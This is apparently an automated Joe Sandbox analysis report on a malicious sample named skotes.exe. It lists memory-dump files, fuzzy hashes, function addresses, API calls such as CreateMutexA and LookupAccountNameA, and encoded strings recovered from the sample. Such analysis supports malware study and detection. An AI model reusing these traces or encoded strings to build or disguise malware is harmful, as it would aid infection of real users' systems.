Associated: 00000002.00000002.1728987713.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729005543.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729030587.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729045864.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729060101.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729074502.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729090986.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729108609.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729126776.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729143715.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729159536.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729173709.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729173709.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729215066.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729233401.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729248522.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729264251.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729278705.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729294677.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729311788.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 512dc58153d3d5531c287ae87e30f88fae7f551da95b85ebca74df743d577fac
Instruction ID: 7de35f48334ceb12447eb728d1ec4f64830a59a172f3952e0de2ad39e1de3b4a
Opcode Fuzzy Hash: 512dc58153d3d5531c287ae87e30f88fae7f551da95b85ebca74df743d577fac
Instruction Fuzzy Hash: 22216D313452058BF728676C9D96F7DB3A19FA1708F21445EE509D62D2CF7A48818753

Function 00ACA34F Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00ACA963
CreateMutexA.KERNELBASE(00000000,00000000,00B23254), ref: 00ACA981

Memory Dump Source

Source File: 00000002.00000002.1728325404.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000002.00000002.1728308904.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728325404.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728376892.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728393988.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728410983.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728425425.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728439924.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728575553.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728595566.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728625300.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728625300.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728667216.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728685793.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728703127.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728719428.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728735895.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728754853.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728777674.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728796035.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728812789.0000000000CEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728830374.0000000000CEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728846269.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728868946.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728890625.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728906468.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728921204.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728939078.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728957044.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728972482.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728987713.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729005543.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729030587.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729045864.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729060101.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729074502.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729090986.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729108609.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729126776.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729143715.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729159536.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729173709.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729173709.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729215066.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729233401.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729248522.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729264251.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729278705.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729294677.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729311788.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 8228372e7f1823fa7547f2ac521edb7dcbdce4f722c614bb51ff90e3dba09765
Instruction ID: c78abd18146b405014904a534d6377f5a181abcf340bd7fd6a62c63c99619fe4
Opcode Fuzzy Hash: 8228372e7f1823fa7547f2ac521edb7dcbdce4f722c614bb51ff90e3dba09765
Instruction Fuzzy Hash: CE217C317102089BEB189B6CED89B7CF7A1DBE1318F20825DE518DB7E5C77599808352

Non-executed Functions

Function 00AFCBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00AFCC66

Memory Dump Source

Source File: 00000002.00000002.1728325404.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000002.00000002.1728308904.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728325404.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728376892.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728393988.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728410983.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728425425.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728439924.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728575553.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728595566.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728625300.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728625300.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728667216.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728685793.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728703127.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728719428.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728735895.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728754853.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728777674.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728796035.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728812789.0000000000CEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728830374.0000000000CEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728846269.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728868946.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728890625.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728906468.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728921204.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728939078.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728957044.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728972482.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728987713.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729005543.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729030587.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729045864.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729060101.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729074502.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729090986.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729108609.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729126776.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729143715.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729159536.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729173709.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729173709.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729215066.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729233401.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729248522.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729264251.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729278705.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729294677.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729311788.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction ID: dd109dc12240b70ca7c1ee05780473a8cbffe9368e155d1aac5b8166fb406241
Opcode Fuzzy Hash: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction Fuzzy Hash: EAB1153290464D9FDB15CFAAC9817BEBBF5EF45360F1441AAFA45EB241D6348E02CB60

Function 00AC2EC0 Relevance: 6.3, APIs: 4, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00AC2F5F
__Mtx_unlock.LIBCPMT ref: 00AC2FCC
__Mtx_unlock.LIBCPMT ref: 00AC30F5
__Mtx_unlock.LIBCPMT ref: 00AC319B

Memory Dump Source

Source File: 00000002.00000002.1728325404.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000002.00000002.1728308904.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728325404.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728376892.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728393988.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728410983.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728425425.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728439924.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728575553.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728595566.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728625300.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728625300.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728667216.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728685793.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728703127.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728719428.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728735895.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728754853.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728777674.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728796035.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728812789.0000000000CEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728830374.0000000000CEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728846269.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728868946.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728890625.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728906468.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728921204.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728939078.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728957044.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728972482.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728987713.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729005543.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729030587.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729045864.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729060101.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729074502.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729090986.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729108609.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729126776.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729143715.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729159536.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729173709.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729173709.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729215066.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729233401.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729248522.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729264251.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729278705.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729294677.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729311788.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock
String ID:
API String ID: 1418687624-0
Opcode ID: 01acaf19bacc28ee09a046355a6bfc923d9dd9bb471a36b9ffd4858dde9a6b9b
Instruction ID: eb7c28b0b5b1bbdbecee3cc7ccf9ea19b329fc4fb1868db2240b4385ebd16c06
Opcode Fuzzy Hash: 01acaf19bacc28ee09a046355a6bfc923d9dd9bb471a36b9ffd4858dde9a6b9b
Instruction Fuzzy Hash: 90A1B0B2A012069FDF20DB64C945B9AB7A8FF15324F15826EE816D7341EB31EA04CBD1

Analysis Process: skotes.exePID: 7672, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	5.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	761
Total number of Limit Nodes:	34

Executed Functions

Function 00ACE530 Relevance: 23.7, APIs: 2, Strings: 11, Instructions: 998
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

MQ==, xrefs: 00ACE592
246122658369, xrefs: 00ACF737, 00ACFA14, 00AD05E7, 00AD099A
9c9aa5, xrefs: 00ACFB8E
WTs=, xrefs: 00AD05CA
GnNoc2Hc, xrefs: 00ACE56C
WTw=, xrefs: 00AD097D
#, xrefs: 00AD0624
MGE+, xrefs: 00ACE821
111, xrefs: 00ACF7A0
UA==, xrefs: 00ACEB0F, 00ACED56
WDw=, xrefs: 00ACF71D, 00ACF9FA

Memory Dump Source

Source File: 00000006.00000002.2883431001.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000006.00000002.2883361037.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883431001.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883666463.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883727805.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883793902.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883845805.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883909001.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884271037.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884331469.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884528151.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884599549.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884663901.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884732748.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884811901.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884884192.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884989302.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885067265.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885145077.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885227523.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885306041.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885368995.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885429506.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885497273.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885572898.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885645797.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885714004.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885779635.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885814983.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885873256.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885928333.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885992640.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886053698.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886119416.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886192985.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886244350.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886312925.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886502387.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886552614.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886584657.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886645890.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886672302.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886705325.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886743978.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: #$111$246122658369$9c9aa5$GnNoc2Hc$MGE+$MQ==$UA==$WDw=$WTs=$WTw=
API String ID: 0-2571795437
Opcode ID: 943ff0e3d4a8509673a55946d88fea1064afaa1b18bf159c1a355f41a4ee3adc
Instruction ID: 6b8c7897f7b6358cf9731c5c6401897b5f49301b1c3ab6002d9c209673438935
Opcode Fuzzy Hash: 943ff0e3d4a8509673a55946d88fea1064afaa1b18bf159c1a355f41a4ee3adc
Instruction Fuzzy Hash: B282D570904288DFEF14EF68CA49BDE7FB6AB05304F508589E805673C6D7795A88CBD2

Function 00AC65E0 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 257
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LookupAccountNameA.ADVAPI32(00000000,?,?,000000FF,?,?,?), ref: 00AC6680

Strings

ISNmfV==, xrefs: 00AC67D1
GSTmfV==, xrefs: 00AC6728
RySfdMLx, xrefs: 00AC669C

Memory Dump Source

Source File: 00000006.00000002.2883431001.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000006.00000002.2883361037.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883431001.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883666463.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883727805.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883793902.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883845805.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883909001.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884271037.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884331469.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884528151.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884599549.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884663901.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884732748.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884811901.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884884192.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884989302.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
